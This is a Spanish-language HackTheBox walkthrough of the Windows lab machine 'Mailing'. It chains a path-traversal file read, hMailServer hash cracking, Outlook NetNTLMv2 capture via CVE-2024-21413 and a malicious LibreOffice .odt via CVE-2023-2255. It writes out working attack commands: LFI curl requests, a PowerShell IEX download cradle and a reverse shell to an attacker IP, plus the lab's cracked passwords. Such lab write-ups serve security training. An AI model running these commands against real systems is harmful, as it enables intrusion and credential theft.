the_open_door
café
ESEN

Mailing

HackTheBoxFácilWindows10.10.11.14

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#windows#hmailserver#lfi#path-traversal#hash-cracking#cve-2024-21413#outlook#moniker-link#netntlmv2#winrm#cve-2023-2255#libreoffice#odt-macro#oscp
TL;DR. El 80 sirve un download.php?file= vulnerable a LFI / path traversal con barras invertidas de Windows. Con él se lee hMailServer.ini y caen dos hashes; el primero se crackea a homenetworkingadministrator (cuenta administrator del hMailServer). El servidor de correo es hMailServer 5.6.8 y el cliente objetivo es Outlook, así que se monta CVE-2024-21413 (Moniker Link): un correo de administrator a maya con un enlace file:// hacia un SMB controlado hace que Outlook filtre el NetNTLMv2 de maya, que john rompe a m4y4ngs4ri. Esa credencial abre WinRM (maya está en Remote Management Users). Para escalar, hay un LibreOffice 7.4.0.1 vulnerable a CVE-2023-2255: se genera un .odt con macro, se sube al share Important Documents (que localadmin abre periódicamente) y la macro ejecuta una reverse shell como localadmin.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.14

ping a 10.10.11.14: ttl=127 apunta a Windows

64 bytes from 10.10.11.14: icmp_seq=1 ttl=127 time=105 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un SYN scan a todos los puertos descubre el bloque típico de Windows más una pila de correo completa:

nmap -p- en Mailing: SMTP/POP3/IMAP, SMB/RPC y los puertos seguros de correo

PORT      STATE SERVICE       REASON
25/tcp    open  smtp          syn-ack ttl 127
80/tcp    open  http          syn-ack ttl 127
110/tcp   open  pop3          syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
143/tcp   open  imap          syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
465/tcp   open  smtps         syn-ack ttl 127
587/tcp   open  submission    syn-ack ttl 127
993/tcp   open  imaps         syn-ack ttl 127
5040/tcp  open  unknown       syn-ack ttl 127
7680/tcp  open  pando-pub     syn-ack ttl 127
49664-49668/tcp open msrpc    syn-ack ttl 127
50009/tcp open  unknown       syn-ack ttl 127

Para no copiar esa lista a mano, extractPorts lee el fichero del escaneo y deja la IP y los puertos separados por comas en el portapapeles:

extractPorts scan

extractPorts leyendo el fichero scan de Mailing y devolviendo la IP 10.10.11.14 y la lista de puertos abiertos separada por comas, copiada al portapapeles

Extracting information ...

    IP Address: 10.10.11.14
    Open ports: 25,80,110,135,139,143,445,465,587,993,5040,7680,49664,49665,49666,49667,49668,50009

Ports copied to clipboard

El -sCV dirigido pone nombre a todo: el HTTP redirige a mailing.htb (lo añadimos a /etc/hosts) y los puertos de correo los sirve hMailServer:

nmap -sCV: hMailServer en SMTP/POP3/IMAP, IIS 10.0 en el 80, dominio mailing.htb

25/tcp   open  smtp     hMailServer smtpd
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp  open  pop3     hMailServer pop3d
143/tcp  open  imap     hMailServer imapd
465/tcp  open  ssl/smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU/countryName=EU
587/tcp  open  smtp     hMailServer smtpd
993/tcp  open  ssl/imap hMailServer imapd
Service Info: Host: mailing.htb; OS: Windows

Dos pistas marcan el rumbo: hMailServer (un servidor de correo open-source para Windows) y el dominio mailing.htb.

El http-title no llega a leerse porque nmap avisa de que no sigue la redirección: el servidor manda a http://mailing.htb, un nombre que nuestro resolver no conoce. Sin ese nombre no hay web que enumerar, así que lo primero es añadirlo al /etc/hosts:

sudo nano /etc/hosts
cat /etc/hosts

/etc/hosts con la línea 10.10.11.14 mailing.htb añadida

127.0.0.1       localhost
127.0.1.1       kali
<SNIP>
10.10.11.14     mailing.htb

TCP 80 - Enumeración web

Con el nombre resuelto, whatweb pone la primera capa de tecnologías:

whatweb http://mailing.htb

whatweb sobre mailing.htb: IIS 10.0, PHP 8.3.3 y X-Powered-By ASP.NET

http://mailing.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0],
IP[10.10.11.14], Microsoft-IIS[10.0], PHP[8.3.3], Title[Mailing], X-Powered-By[PHP/8.3.3, ASP.NET]

La combinación es rara y merece la pena pararse: IIS sirviendo PHP. El X-Powered-By lista las dos cabeceras a la vez (PHP/8.3.3 y ASP.NET), es decir, un servidor de Microsoft al que le han montado un intérprete de PHP encima. Eso descarta las rutas típicas de ASP.NET y nos dice qué extensión hay que fuzzear.

Wappalyzer confirma lo mismo desde el navegador, y de paso la portada se presenta como "the ultimate mail server" con un "Powered by hMailServer" al pie, que casa con lo que dijo nmap en los puertos de correo:

Wappalyzer sobre mailing.htb: IIS 10.0, Windows Server y PHP 8.3.3

El código fuente de la portada esconde lo interesante: un enlace a download.php con un parámetro file, candidato claro a LFI:

el código fuente revela download.php?file=...

Un barrido con dirsearch confirma download.php entre las rutas servidas:

dirsearch sobre mailing.htb: download.php

dirsearch -u http://mailing.htb --exclude-status=403,404,301

Aprovechando el dato de whatweb, un segundo barrido con gobuster y -x php cubre lo que un diccionario sin extensiones se dejaría:

gobuster dir -u http://mailing.htb \
  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -t 100 -b 404,301 -x php

gobuster con -x php: download.php responde 200 con 31 bytes

/download.php         (Status: 200) [Size: 31]
/index.php            (Status: 200) [Size: 4681]
/Download.php         (Status: 200) [Size: 31]
/DOWNLOAD.php         (Status: 200) [Size: 31]
/*checkout*           (Status: 400) [Size: 3710]
/http%3A%2F%2Fwww     (Status: 400) [Size: 3710]

Dos lecturas de esa salida. La primera, que download.php devuelve 200 con solo 31 bytes: sin parámetro no imprime nada útil, apenas un mensaje de error, lo cual es coherente con un script que espera un file=. La segunda, que la avalancha de 400 sobre entradas del diccionario con %3A o * es ruido del propio wordlist, no rutas reales; conviene reconocerlo para no perder tiempo persiguiéndolo.

La portada muestra además tres posibles nombres de usuario que conviene anotar, y un botón que descarga (vía download.php) un PDF guía:

la web lista tres usuarios y un botón de descarga

El PDF es una guía para conectar un cliente de correo Windows al hMailServer de mailing.htb. Un detalle salta: pide enviar un correo de prueba al usuario maya. Ese dato será clave más adelante.

guía de instalación del cliente de correo; menciona enviar un correo a maya

Acceso como administrator (hMailServer)

LFI en download.php

download.php?file= no sanea el path y acepta ..\ (separador de Windows), así que es un path traversal directo. Lo confirmamos leyendo el hosts del sistema:

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\Windows\System32\drivers\etc\hosts'

LFI confirmada: se lee C:\Windows\System32\drivers\etc\hosts

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
<SNIP>
127.0.0.1       mailing.htb

Un traversal solo vale lo que valga la lista de ficheros que sepamos pedir, así que el siguiente paso no es un comando sino la documentación de hMailServer: dónde guarda su configuración. La respuesta rápida de la documentación oficial es C:\Program Files\hMailServer, pero un hilo del foro del propio producto da la ruta buena, la del binario de 32 bits:

búsqueda de la ubicación del fichero de configuración de hMailServer; el foro apunta a c:\program files (x86)\hMailServer\Bin\hMailServer.ini

Ese matiz importa. hMailServer se distribuye como aplicación de 32 bits, así que en un Windows de 64 bits aterriza en Program Files (x86), no en Program Files. Pedir la ruta que canta la documentación devuelve vacío y da la falsa sensación de que la LFI está limitada:

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\program+files+(x86)\hMailServer\Bin\hMailServer.ini'

hMailServer.ini leído por LFI: rutas de instalación y dos hashes

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1

Merece la pena separar los dos hashes porque no son lo mismo. El de [Security] es la contraseña del administrador de hMailServer, la que teclea una persona en el panel. El de [Database] es la de la base de datos interna: Type=MSSQLCE con Internal=1 significa que hMailServer se trae su propio SQL Server Compact embebido, y Username= vacío confirma que nadie se autentica ahí a mano. Esa segunda contraseña la genera el instalador, así que es un candidato pésimo para diccionario, y eso adelanta lo que va a pasar al intentar romperla.

Filtrando por la cadena pass salen los dos:

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\program+files+(x86)\hMailServer\Bin\hMailServer.ini' \
  | grep -i pass | head -n 2 | awk -F '=' '{print $2}'

dos hashes extraídos del hMailServer.ini

841bb5acfa6779ae432fd7a4e6600ba7
0a9f8ad8bf896b501dde74f08efd7e4c

Crackear el hash

Los dos son cadenas de 32 caracteres hexadecimales, la firma de MD5, y hMailServer los guarda sin sal. Sin sal, el mismo texto produce siempre el mismo hash en cualquier instalación del mundo, que es justo la condición que hace viables las rainbow tables: alguien ya calculó ese diccionario y basta con consultarlo. El primero cae en el acto:

hashes.com: 1 found, 841bb5acfa6779ae432fd7a4e6600ba7 = homenetworkingadministrator

1 hashes were checked: 1 found 0 not found
841bb5acfa6779ae432fd7a4e6600ba7   homenetworkingadministrator

El segundo, el de la base de datos, no aparece en ninguna lista:

hashes.com: 0 found 1 not found para 0a9f8ad8bf896b501dde74f08efd7e4c

1 hashes were checked: 0 found 1 not found
Left: 0a9f8ad8bf896b501dde74f08efd7e4c

No es mala suerte, es lo esperable: una rainbow table solo contiene hashes de contraseñas que alguien escribió alguna vez, y la de la base de datos interna la generó el instalador. Merece la pena registrar el intento igualmente, porque saber por qué un hash no cae evita insistir con diccionarios más grandes.

El que sí cayó corresponde al usuario administrator de hMailServer:

passwords.txt: 841bb5... → homenetworkingadministrator

841bb5acfa6779ae432fd7a4e6600ba7  ->  homenetworkingadministrator

Validar la credencial en SMTP

La contraseña es del administrator del correo, no de Windows. Lo comprobamos autenticándonos en el SMTP (AUTH LOGIN usa usuario y contraseña en base64):

echo -n 'administrator@mailing.htb' | base64
echo -n 'homenetworkingadministrator' | base64
telnet 10.10.11.14 25
EHLO administrator
AUTH LOGIN

AUTH LOGIN en el SMTP con administrator@mailing.htb: autenticación correcta

220 mailing.htb ESMTP
EHLO administrator
250-mailing.htb
250-SIZE 20480000
250-AUTH LOGIN PLAIN
250 HELP
AUTH LOGIN
334 VXNlcm5hbWU6
YWRtaW5pc3RyYXRvckBtYWlsaW5nLmh0Yg==
334 UGFzc3dvcmQ6
aG9tZW5ldHdvcmtpbmdhZG1pbmlzdHJhdG9y
235 authenticated.

Funciona. Y desde la misma sesión, el comando nativo VRFY confirma que maya existe como buzón:

VRFY USER maya@mailing.htb devuelve 250 (existe)

Shell como maya

Fechar la instalación por los metadatos de una imagen

Antes de ir a por la versión exacta conviene acotar la época. Si sabemos de cuándo es el despliegue, sabemos qué builds eran actuales entonces y qué CVE tenían sentido. Una vía barata: las imágenes de la web se subieron cuando se montó la máquina, así que su fecha de modificación aproxima la del despliegue. Se descarga una y se mira con stat:

wget http://mailing.htb/assets/mayabendito.jpg
stat mayabendito.jpg

stat sobre mayabendito.jpg: Modify 2024-03-09

  File: mayabendito.jpg
  Size: 814079      Blocks: 1592       IO Block: 4096   regular file
Access: 2025-09-26 21:24:34.000000000 +0200
Modify: 2024-03-09 14:21:34.000000000 +0100
Change: 2025-09-26 21:24:34.638387183 +0200

wget conserva la marca temporal del servidor, y ahí está: 9 de marzo de 2024. La fecha de acceso es la de nuestra descarga, la de modificación es la del fichero en el objetivo. Conviene tomarlo como lo que es, un indicio: nada garantiza que la imagen se subiera el mismo día que se instaló el software, ni que el sistema de ficheros no haya sido tocado después. Pero encuadra la búsqueda en algo publicado alrededor de principios de 2024, y más adelante esa fecha volverá a aparecer, casi clavada, en las marcas de C:\Program Files.

Identificar la versión de hMailServer

Con la época acotada falta el número exacto, y la LFI vuelve a servir. El truco es saber qué pedir: los instaladores de Windows hechos con Inno Setup dejan un unins000.dat en el directorio del programa, un fichero binario con las rutas y las cadenas que el desinstalador necesita. Se descarga y se le pasan strings:

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\Program+Files+(x86)\hMailServer\unins000.dat' -o unins000_p86.dat
strings unins000_p86.dat | grep -i version

El resultado no da la versión directamente, pero sí dos cosas mejores: la clave de registro de la desinstalación y, sobre todo, la ruta absoluta de un fichero del panel web que sí la contiene:

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\hMailServer_is1
This version of hMailServer does not include MySQL. hMailServ
However, the MySQL version hMailServer is configured to use is
too old for this version of hMailServer.
<SNIP>
C:\Program Files (x86)\hMailServer\PHPWebAdmin\include_versioncheck.php

Ese include_versioncheck.php es el fichero que el panel usa para comparar la versión instalada con la última publicada, así que la lleva escrita en claro:

curl 'http://mailing.htb/download.php?file=..\..\..\..\..\..\Program+Files+(x86)\hMailServer\PHPWebAdmin\include_versioncheck.php'

strings sobre unins000.dat revela include_versioncheck.php, que declara REQUIRED_VERSION 5.6.8-B2574

<?php
define('REQUIRED_VERSION', '5.6.8-B2574');
?>

Que el .php se descargue como texto plano en vez de ejecutarse es otra consecuencia de la LFI: download.php lee el fichero del disco y lo devuelve tal cual, sin pasarlo por el intérprete. Cualquier credencial que viviera en un .php del servidor estaría igual de expuesta.

Versión 5.6.8-B2574, coherente con el marco temporal que dieron los metadatos. Pero el vector real no está en hMailServer: el correo lo lee un Outlook en la máquina, y eso abre la puerta a CVE-2024-21413.

CVE-2024-21413 (Moniker Link) es un fallo de validación en Microsoft Outlook: un enlace file:// con un ! (moniker) en un correo evita la Protected View y hace que Outlook intente acceder al recurso por SMB. Si ese recurso apunta a un servidor del atacante, Outlook se autentica y filtra el NetNTLMv2 del usuario que lo abre. Usamos la PoC pública de CMNatic:

PoC de CVE-2024-21413 en GitHub

git clone https://github.com/CMNatic/CVE-2024-21413
cd CVE-2024-21413
ls

el repo clonado contiene un único exploit.py

LICENSE  README.md  exploit.py  imgs

Un solo exploit.py, sin dependencias ni compilación: la PoC se limita a componer y enviar un correo, porque toda la vulnerabilidad vive en cómo interpreta el cliente el enlace del cuerpo. Eso conviene tenerlo claro antes de tocar nada, ya que significa que lo único que hay que acertar son los parámetros del envío.

Se edita exploit.py: remitente administrator@mailing.htb (la cuenta que controlamos), destinatario maya (la del PDF), el enlace malicioso apuntando a un share SMB nuestro y el puerto de envío 587:

exploit.py editado: sender administrator, recipient maya, enlace SMB, puerto 587

Con smbserver.py escuchando, se lanza el exploit. Al poco, Outlook (como maya) intenta el SMB y deja su hash:

python3 exploit.py
smbserver.py share $(pwd) -smb2support

smbserver captura el NetNTLMv2 de maya

[*] Incoming connection (10.10.11.14,60804)
[*] AUTHENTICATE_MESSAGE (MAILING\maya,MAILING)
[*] User MAILING\maya authenticated successfully
[*] maya::MAILING:aaaaaaaaaaaaaaaa:7a854d877bfaae43bfd5009733cfd956:0101000000000000803f93f8242fdc01<SNIP>

El hash maya::MAILING:... se crackea con john y rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

john rompe el NetNTLMv2 de maya → m4y4ngs4ri

maya::MAILING:...   ->   m4y4ngs4ri

WinRM con maya

Validamos maya:m4y4ngs4ri en SMB y WinRM. SMB autentica sin Pwn3d!, pero WinRM sí marca Pwn3d!: maya está en Remote Management Users:

crackmapexec smb   10.10.11.14 -u maya -p m4y4ngs4ri
crackmapexec winrm 10.10.11.14 -u maya -p m4y4ngs4ri

cme winrm con maya:m4y4ngs4ri → Pwn3d!

SMB    10.10.11.14  445   MAILING  [+] MAILING\maya:m4y4ngs4ri
WINRM  10.10.11.14  5985  MAILING  [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)

La credencial se guarda junto a las anteriores, para tenerlas todas en un mismo sitio:

echo 'm4y4ngs4ri' >> passwords.txt
cat passwords.txt

passwords.txt con las tres líneas: el hash crackeado de administrator, el hash que no cayó y la contraseña de maya

841bb5acfa6779ae432fd7a4e6600ba7 -> homenetworkingadministrator
0a9f8ad8bf896b501dde74f08efd7e4c
m4y4ngs4ri

Evil-WinRM da la shell, tomando la contraseña de la última línea del fichero:

evil-winrm -u maya -p $(tail -n 1 passwords.txt) -i 10.10.11.14

evil-winrm -u maya -p con la sustitución de tail -n 1 passwords.txt contra 10.10.11.14, arrancando la Evil-WinRM shell v3.7

Evil-WinRM shell v3.7

Y con ella, la flag de usuario:

evil-winrm como maya y type user.txt

905a497a57dd60d25e2ad60241cc9cf9

Antes de escalar, una nota de la enumeración SMB: hay un share Important Documents donde, al subir un fichero, desaparece al poco rato. Eso huele a una tarea/usuario que abre periódicamente lo que haya ahí:

cme --shares muestra Important Documents

Escalada a localadmin

Software instalado: LibreOffice donde no tocaba

La enumeración de un Windows empieza por lo más aburrido y más rentable: listar C:\Program Files y buscar lo que no debería estar ahí.

cd "C:\Program Files"
dir

dir en C:\Program Files: LibreOffice entre el software del sistema, con fecha de marzo de 2024

Mode    LastWriteTime          Name
d----   2/27/2024   5:30 PM    Common Files
d----   3/3/2024    4:32 PM    Git
d----   3/4/2024    6:57 PM    LibreOffice
d----   3/3/2024    5:13 PM    Windows Defender
d----   4/29/2024   6:54 PM    Windows Mail
d----   3/13/2024   4:49 PM    WindowsPowerShell

Casi todo el listado es software de sistema. LibreOffice desentona: es una suite ofimática en un servidor de correo, donde nadie edita documentos de forma interactiva. En una caja de CTF eso casi nunca es decorado, y en un entorno real sería exactamente el tipo de instalación que un inventario debería cuestionar.

Vale la pena mirar la columna de fechas. La mayoría del software se instaló entre el 27 de febrero y el 13 de marzo de 2024, y LibreOffice concretamente el 4 de marzo. El Modify: 2024-03-09 de mayabendito.jpg caía a cinco días de ahí, así que la corazonada de fechar el despliegue por los metadatos de una imagen era correcta: todo se montó la misma semana.

CVE-2023-2255 en LibreOffice 7.4.0.1

Con el programa localizado toca el número de versión, que en LibreOffice vive en un version.ini dentro de program:

cd program
type version.ini

version.ini: LibreOffice 7.4.0.1

[Version]
buildid=43e5fcfbbadd18fccee5a6f42ddd533e40151bcf
MsiProductVersion=7.4.0.1
ReferenceOOoMajorMinor=4.1

LibreOffice 7.4.0.1 es vulnerable a CVE-2023-2255: las versiones anteriores a la 7.4.7 y la 7.5.3 cargan automáticamente el contenido de los floating frames (el equivalente al iframe de HTML) sin pedir confirmación, así que un documento preparado puede lanzar contenido externo, y con él un comando, en el momento de abrirse. El parche no elimina los marcos: obliga a que el usuario apruebe la actualización del enlace.

Esa condición, "se dispara al abrir el documento", encaja exactamente con el share Important Documents donde los ficheros desaparecen solos. Buscando la versión junto a la palabra exploit, el primer resultado es una PoC pública:

Búsqueda de libreoffice 7.4.0.1 git exploit: el primer resultado es el repositorio elweth-sec/CVE-2023-2255 en GitHub, resaltado en rojo

libreoffice 7.4.0.1 git exploit

GitHub - https://github.com/elweth-sec
elweth-sec/CVE-2023-2255
CVE-2023-2255 Libre Office. Contribute to elweth-sec/CVE-2023-2255 development by creating an
account on GitHub.

El repositorio confirma de qué va antes de clonarlo: un CVE-2023-2255.py que genera el documento, unos samples y una webshell.php.

El repositorio github.com/elweth-sec/CVE-2023-2255 con los ficheros samples, CVE-2023-2255.py, README.md y webshell.php, y el README describiendo el RCE y la carga de recursos externos

elweth-sec / CVE-2023-2255            Public

samples             CVE-2023-2255
CVE-2023-2255.py    CVE-2023-2255
README.md           Update README.md
webshell.php        CVE-2023-2255

CVE-2023-2255
CVE-2023-2255 RCE & load of external ressources found by @lcare1337
https://nvd.nist.gov/vuln/detail/CVE-2023-2255

Se clona elweth-sec/CVE-2023-2255:

git clone https://github.com/elweth-sec/CVE-2023-2255
cd CVE-2023-2255
ls

el repo de CVE-2023-2255 clonado: CVE-2023-2255.py, samples y webshell.php

CVE-2023-2255.py  README.md  samples  webshell.php

El repo trae un webshell.php de ejemplo que aquí no sirve, porque el objetivo es Windows y no hay un PHP donde soltarla. Lo que se necesita es una reverse shell de PowerShell, y para eso está nishang, la colección de scripts ofensivos de PowerShell:

git clone https://github.com/samratashok/nishang
cp nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 ./reverse.ps1
ls | grep reverse

nishang clonado y Invoke-PowerShellTcpOneLine.ps1 copiado como reverse.ps1

Cloning into 'nishang'...
remote: Enumerating objects: 1705, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 1705 (delta 5), reused 8 (delta 2), pack-reused 1691 (from 1)
Receiving objects: 100% (1705/1705), 10.89 MiB | 1.77 MiB/s, done.
Resolving deltas: 100% (1064/1064), done.

$ ls | grep reverse
reverse.ps1

De todo nishang interesa Invoke-PowerShellTcpOneLine.ps1 precisamente por ser de una sola línea: sin funciones ni parámetros que invocar, basta con que se ejecute para que conecte. Tal como viene, trae dos variantes comentadas con una IP y un puerto de ejemplo:

nano reverse.ps1

reverse.ps1 recién copiado de nishang: dos one-liners de reverse shell con la IP de ejemplo 192.168.254.1 y los puertos 4444 y 55555, uno de ellos comentado

#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
#$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();...

$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};...

Solo hay que ponerle nuestra IP y nuestro puerto:

reverse.ps1 editado con 10.10.16.6 y el puerto 443

$client = New-Object System.Net.Sockets.TCPClient('10.10.16.6',443);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = ...

El puerto 443 no es casualidad: el tráfico saliente hacia HTTPS es el que menos llama la atención en un cortafuegos de salida.

Con la shell lista falta el disparador. El payload que irá dentro del .odt no lleva la shell entera, solo la descarga y la ejecuta en memoria con IEX, de modo que reverse.ps1 nunca toca el disco de la víctima. Se codifica en UTF-16LE y luego en base64, que es el formato que espera powershell -enc (UTF-16LE porque es la codificación interna de las cadenas en Windows):

echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.6/reverse.ps1')" \
  | iconv -t utf-16le | base64 -w 0

payload codificado en UTF-16LE + base64

# cat payload
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.6/reverse.ps1')

# cat payload | iconv -t utf-16le | base64 -w 0
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA<SNIP>

Se construye el .odt malicioso con ese comando:

python3 CVE-2023-2255.py --cmd 'cmd /c powershell -enc <BASE64>' --output exploit.odt

CVE-2023-2255.py genera exploit.odt con el payload

File exploit.odt has been created !

# ls
CVE-2023-2255.py  README.md  exploit.odt  payload  samples  webshell.php

Se sirve reverse.ps1 por HTTP, se abre el listener y se sube el .odt al share Important Documents con upload de Evil-WinRM. Cuando localadmin abre el documento, la macro dispara la conexión:

python3 -m http.server 80
rlwrap nc -nlvp 443
# en evil-winrm:
upload exploit.odt

reverse shell como localadmin y type root.txt

6683eb04f1437cb2ad5d492bb8723e32
whoami
mailing\localadmin
type C:\Users\localadmin\Desktop\root.txt

Shell como localadmin y máquina comprometida.

Cadena de ataque

nmap (25/80/110/135/139/143/445/465/587/993 ... hMailServer + IIS)
  └─> download.php?file= → LFI (..\ de Windows)
        └─> hMailServer.ini → 2 hashes MD5 → hashes.com → homenetworkingadministrator
              └─> AUTH LOGIN en SMTP como administrator@mailing.htb (válido) + VRFY maya
                    └─> versioncheck.php → hMailServer 5.6.8 / cliente Outlook
                          └─> CVE-2024-21413 (Moniker Link) correo a maya → SMB → NetNTLMv2
                                └─> john (rockyou) → maya:m4y4ngs4ri
                                      └─> WinRM (Remote Management Users) → shell + user.txt
                                            └─> LibreOffice 7.4.0.1 → CVE-2023-2255 (.odt macro)
                                                  └─> subir al share Important Documents
                                                        └─> localadmin abre el .odt → reverse shell → root.txt

Lecciones aprendidas

  • Una LFI con ..\ en Windows es tan potente como en Linux: la clave es conocer las rutas por defecto de la app instalada (hMailServer.ini, version.ini, unins000.dat). El traversal no sirve de nada sin saber qué pedir.
  • hMailServer guarda contraseñas como MD5 sin sal: una sola lectura de su .ini y una rainbow table bastan. Las funciones de hash rápidas y sin sal siguen apareciendo en software real.
  • CVE-2024-21413 convierte una bandeja de correo en un canal de robo de credenciales: basta un enlace file:// con moniker para que Outlook filtre el NetNTLMv2 sin que el usuario abra nada explícitamente. Controlar el remitente (aquí, vía la cuenta administrator del hMailServer) es lo que cierra el vector.
  • Un share donde los ficheros desaparecen casi siempre delata una tarea programada o un usuario que los procesa. Combinado con software de oficina desactualizado (LibreOffice CVE-2023-2255), es un phishing interno: subes el documento y esperas a que alguien con más privilegios lo abra.
  • Identificar versiones exactas (hMailServer 5.6.8, LibreOffice 7.4.0.1) es la mitad del trabajo: cada una mapea directamente a un CVE público. La enumeración paga.
  • Las fechas también son enumeración. El Modify: 2024-03-09 de una imagen de la web y el LastWriteTime de C:\Program Files contaban la misma historia con cinco días de diferencia: todo se instaló la misma semana de marzo de 2024. Acotar la época no da el exploit, pero descarta media lista de candidatos antes de probarlos.
  • Antes de lanzar el traversal, leer la documentación del producto. La ruta que publica hMailServer es C:\Program Files\hMailServer, y la buena es Program Files (x86) porque el binario es de 32 bits. Un traversal perfecto contra una ruta equivocada devuelve vacío y parece un fallo de la vulnerabilidad, cuando es un fallo de la lista de la compra.
Cheatsheet de comandos 31 comandos

Repaso rápido